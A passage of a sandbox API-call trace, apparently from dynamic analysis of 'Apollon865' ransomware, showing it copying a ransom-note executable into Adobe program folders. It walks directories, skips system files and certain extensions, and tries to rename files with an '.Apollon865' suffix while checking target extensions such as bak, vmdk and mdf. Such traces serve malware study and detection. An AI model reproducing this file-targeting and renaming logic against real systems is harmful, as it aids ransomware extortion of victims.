	[0056.683] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.687] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.687] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39dbd750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39dbd750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.687] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.687] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.687] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="1.0" | out: lpString1="1.0") returned="1.0"
	[0056.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0056.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8fa0
	[0056.687] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0056.687] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dbd750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39dbd750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.687] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.687] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dbd750, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39dbd750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0056.687] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.687] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7930
	[0056.687] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0"
	[0056.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0056.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0056.688] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned 49
	[0056.688] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0"
	[0056.688] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.688] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.692] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39dbd750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39dbd750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.693] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.693] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.693] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AcrobatUpdater.exe" | out: lpString1="AcrobatUpdater.exe") returned="AcrobatUpdater.exe"
	[0056.693] lstrlenW (lpString="AcrobatUpdater.exe") returned 18
	[0056.693] lstrlenW (lpString="Apollon865") returned 10
	[0056.693] lstrcmpiW (lpString1="pdater.exe", lpString2="Apollon865") returned 1
	[0056.693] lstrlenW (lpString=".dll") returned 4
	[0056.693] lstrcmpiW (lpString1="AcrobatUpdater.exe", lpString2=".dll") returned 1
	[0056.693] lstrlenW (lpString=".lnk") returned 4
	[0056.693] lstrcmpiW (lpString1="AcrobatUpdater.exe", lpString2=".lnk") returned 1
	[0056.693] lstrlenW (lpString=".ini") returned 4
	[0056.693] lstrcmpiW (lpString1="AcrobatUpdater.exe", lpString2=".ini") returned 1
	[0056.693] lstrlenW (lpString=".sys") returned 4
	[0056.693] lstrcmpiW (lpString1="AcrobatUpdater.exe", lpString2=".sys") returned 1
	[0056.693] lstrlenW (lpString="AcrobatUpdater.exe") returned 18
	[0056.693] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AdobeARM.exe" | out: lpString1="AdobeARM.exe") returned="AdobeARM.exe"
	[0056.693] lstrlenW (lpString="AdobeARM.exe") returned 12
	[0056.693] lstrlenW (lpString="Apollon865") returned 10
	[0056.693] lstrcmpiW (lpString1="obeARM.exe", lpString2="Apollon865") returned 1
	[0056.693] lstrlenW (lpString=".dll") returned 4
	[0056.693] lstrcmpiW (lpString1="AdobeARM.exe", lpString2=".dll") returned 1
	[0056.693] lstrlenW (lpString=".lnk") returned 4
	[0056.693] lstrcmpiW (lpString1="AdobeARM.exe", lpString2=".lnk") returned 1
	[0056.693] lstrlenW (lpString=".ini") returned 4
	[0056.693] lstrcmpiW (lpString1="AdobeARM.exe", lpString2=".ini") returned 1
	[0056.693] lstrlenW (lpString=".sys") returned 4
	[0056.693] lstrcmpiW (lpString1="AdobeARM.exe", lpString2=".sys") returned 1
	[0056.694] lstrlenW (lpString="AdobeARM.exe") returned 12
	[0056.694] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="AdobeExtractFiles.dll" | out: lpString1="AdobeExtractFiles.dll") returned="AdobeExtractFiles.dll"
	[0056.694] lstrlenW (lpString="AdobeExtractFiles.dll") returned 21
	[0056.694] lstrlenW (lpString="Apollon865") returned 10
	[0056.694] lstrcmpiW (lpString1="tFiles.dll", lpString2="Apollon865") returned 1
	[0056.694] lstrlenW (lpString=".dll") returned 4
	[0056.694] lstrcmpiW (lpString1="AdobeExtractFiles.dll", lpString2=".dll") returned 1
	[0056.694] lstrlenW (lpString=".lnk") returned 4
	[0056.694] lstrcmpiW (lpString1="AdobeExtractFiles.dll", lpString2=".lnk") returned 1
	[0056.694] lstrlenW (lpString=".ini") returned 4
	[0056.694] lstrcmpiW (lpString1="AdobeExtractFiles.dll", lpString2=".ini") returned 1
	[0056.694] lstrlenW (lpString=".sys") returned 4
	[0056.694] lstrcmpiW (lpString1="AdobeExtractFiles.dll", lpString2=".sys") returned 1
	[0056.694] lstrlenW (lpString="AdobeExtractFiles.dll") returned 21
	[0056.694] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ReaderUpdater.exe" | out: lpString1="ReaderUpdater.exe") returned="ReaderUpdater.exe"
	[0056.694] lstrlenW (lpString="ReaderUpdater.exe") returned 17
	[0056.694] lstrlenW (lpString="Apollon865") returned 10
	[0056.694] lstrcmpiW (lpString1="pdater.exe", lpString2="Apollon865") returned 1
	[0056.694] lstrlenW (lpString=".dll") returned 4
	[0056.694] lstrcmpiW (lpString1="ReaderUpdater.exe", lpString2=".dll") returned 1
	[0056.694] lstrlenW (lpString=".lnk") returned 4
	[0056.694] lstrcmpiW (lpString1="ReaderUpdater.exe", lpString2=".lnk") returned 1
	[0056.694] lstrlenW (lpString=".ini") returned 4
	[0056.695] lstrcmpiW (lpString1="ReaderUpdater.exe", lpString2=".ini") returned 1
	[0056.695] lstrlenW (lpString=".sys") returned 4
	[0056.695] lstrcmpiW (lpString1="ReaderUpdater.exe", lpString2=".sys") returned 1
	[0056.695] lstrlenW (lpString="ReaderUpdater.exe") returned 17
	[0056.695] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat"
	[0056.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.695] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0056.695] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned 49
	[0056.695] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat"
	[0056.695] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.695] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.699] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.699] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39de38b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39de38b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.699] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.699] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.699] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="ActiveX" | out: lpString1="ActiveX") returned="ActiveX"
	[0056.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0056.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0056.699] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0056.699] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39de38b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39de38b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.699] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.699] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39de38b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39de38b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0056.699] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.699] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7910
	[0056.699] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX"
	[0056.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0056.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0056.700] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned 57
	[0056.700] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX"
	[0056.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.700] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0056.713] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0056.713] GetLastError () returned 0x0
	[0056.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0056.713] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0056.713] CloseHandle (hObject=0xc0) returned 1
	[0056.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0056.713] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.714] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.714] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.715] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.715] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroIEHelper.dll" | out: lpString1="AcroIEHelper.dll") returned="AcroIEHelper.dll"
	[0056.715] lstrlenW (lpString="AcroIEHelper.dll") returned 16
	[0056.715] lstrlenW (lpString="Apollon865") returned 10
	[0056.715] lstrcmpiW (lpString1="Helper.dll", lpString2="Apollon865") returned 1
	[0056.715] lstrlenW (lpString=".dll") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelper.dll", lpString2=".dll") returned 1
	[0056.715] lstrlenW (lpString=".lnk") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelper.dll", lpString2=".lnk") returned 1
	[0056.715] lstrlenW (lpString=".ini") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelper.dll", lpString2=".ini") returned 1
	[0056.715] lstrlenW (lpString=".sys") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelper.dll", lpString2=".sys") returned 1
	[0056.715] lstrlenW (lpString="AcroIEHelper.dll") returned 16
	[0056.715] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroIEHelperShim.dll" | out: lpString1="AcroIEHelperShim.dll") returned="AcroIEHelperShim.dll"
	[0056.715] lstrlenW (lpString="AcroIEHelperShim.dll") returned 20
	[0056.715] lstrlenW (lpString="Apollon865") returned 10
	[0056.715] lstrcmpiW (lpString1="erShim.dll", lpString2="Apollon865") returned 1
	[0056.715] lstrlenW (lpString=".dll") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelperShim.dll", lpString2=".dll") returned 1
	[0056.715] lstrlenW (lpString=".lnk") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelperShim.dll", lpString2=".lnk") returned 1
	[0056.715] lstrlenW (lpString=".ini") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelperShim.dll", lpString2=".ini") returned 1
	[0056.715] lstrlenW (lpString=".sys") returned 4
	[0056.715] lstrcmpiW (lpString1="AcroIEHelperShim.dll", lpString2=".sys") returned 1
	[0056.715] lstrlenW (lpString="AcroIEHelperShim.dll") returned 20
	[0056.715] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.CAT" | out: lpString1="AcroPDF.CAT") returned="AcroPDF.CAT"
	[0056.715] lstrlenW (lpString="AcroPDF.CAT") returned 11
	[0056.715] lstrlenW (lpString="Apollon865") returned 10
	[0056.715] lstrcmpiW (lpString1="croPDF.CAT", lpString2="Apollon865") returned 1
	[0056.715] lstrlenW (lpString=".dll") returned 4
	[0056.716] lstrcmpiW (lpString1="AcroPDF.CAT", lpString2=".dll") returned 1
	[0056.716] lstrlenW (lpString=".lnk") returned 4
	[0056.716] lstrcmpiW (lpString1="AcroPDF.CAT", lpString2=".lnk") returned 1
	[0056.716] lstrlenW (lpString=".ini") returned 4
	[0056.716] lstrcmpiW (lpString1="AcroPDF.CAT", lpString2=".ini") returned 1
	[0056.716] lstrlenW (lpString=".sys") returned 4
	[0056.716] lstrcmpiW (lpString1="AcroPDF.CAT", lpString2=".sys") returned 1
	[0056.716] lstrlenW (lpString="AcroPDF.CAT") returned 11
	[0056.716] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT.Apollon865") returned 80
	[0056.716] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT.Apollon865" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat.apollon865"), dwFlags=0x1) returned 0
	[0056.718] GetLastError () returned 0x5
	[0056.718] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT MoveFileEx error 5\r\n") returned 98
	[0056.718] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT MoveFileEx error 5\r\n") returned 98
	[0056.718] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0056.718] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x246d
	[0056.718] WriteFile (in: hFile=0x154, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x62, lpOverlapped=0x0) returned 1
	[0056.719] CloseHandle (hObject=0x154) returned 1
	[0056.719] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0056.719] CloseHandle (hObject=0x0) returned 0
	[0056.719] CloseHandle (hObject=0x0) returned 0
	[0056.719] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="Apollon865.txt.exe") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2=".") returned 1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="..") returned 1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="windows") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="bootmgr") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="temp") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="pagefile.sys") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="boot") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="ids.txt") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="ntuser.dat") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="perflogs") returned -1
	[0056.719] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2="MSBuild") returned -1
	[0056.719] lstrlenW (lpString="AcroPDF.CHS") returned 11
	[0056.719] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT") returned 69
	[0056.719] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.CHS" | out: lpString1="AcroPDF.CHS") returned="AcroPDF.CHS"
	[0056.719] lstrlenW (lpString="AcroPDF.CHS") returned 11
	[0056.719] lstrlenW (lpString="Apollon865") returned 10
	[0056.719] lstrcmpiW (lpString1="croPDF.CHS", lpString2="Apollon865") returned 1
	[0056.719] lstrlenW (lpString=".dll") returned 4
	[0056.720] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2=".dll") returned 1
	[0056.720] lstrlenW (lpString=".lnk") returned 4
	[0056.720] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2=".lnk") returned 1
	[0056.720] lstrlenW (lpString=".ini") returned 4
	[0056.720] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2=".ini") returned 1
	[0056.720] lstrlenW (lpString=".sys") returned 4
	[0056.720] lstrcmpiW (lpString1="AcroPDF.CHS", lpString2=".sys") returned 1
	[0056.720] lstrlenW (lpString="AcroPDF.CHS") returned 11
	[0056.720] lstrlenW (lpString="bak") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="bak") returned 1
	[0056.720] lstrlenW (lpString="ba_") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="ba_") returned 1
	[0056.720] lstrlenW (lpString="dbb") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="dbb") returned -1
	[0056.720] lstrlenW (lpString="vmdk") returned 4
	[0056.720] lstrcmpiW (lpString1=".CHS", lpString2="vmdk") returned -1
	[0056.720] lstrlenW (lpString="rar") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="rar") returned -1
	[0056.720] lstrlenW (lpString="zip") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="zip") returned -1
	[0056.720] lstrlenW (lpString="tgz") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="tgz") returned -1
	[0056.720] lstrlenW (lpString="vbox") returned 4
	[0056.720] lstrcmpiW (lpString1=".CHS", lpString2="vbox") returned -1
	[0056.720] lstrlenW (lpString="vdi") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="vdi") returned -1
	[0056.720] lstrlenW (lpString="vhd") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="vhd") returned -1
	[0056.720] lstrlenW (lpString="vhdx") returned 4
	[0056.720] lstrcmpiW (lpString1=".CHS", lpString2="vhdx") returned -1
	[0056.720] lstrlenW (lpString="avhd") returned 4
	[0056.720] lstrcmpiW (lpString1=".CHS", lpString2="avhd") returned -1
	[0056.720] lstrlenW (lpString="db") returned 2
	[0056.720] lstrcmpiW (lpString1="HS", lpString2="db") returned 1
	[0056.720] lstrlenW (lpString="db2") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="db2") returned -1
	[0056.720] lstrlenW (lpString="db3") returned 3
	[0056.720] lstrcmpiW (lpString1="CHS", lpString2="db3") returned -1
	[0056.720] lstrlenW (lpString="dbf") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="dbf") returned -1
	[0056.721] lstrlenW (lpString="mdf") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="mdf") returned -1
	[0056.721] lstrlenW (lpString="mdb") returned 3
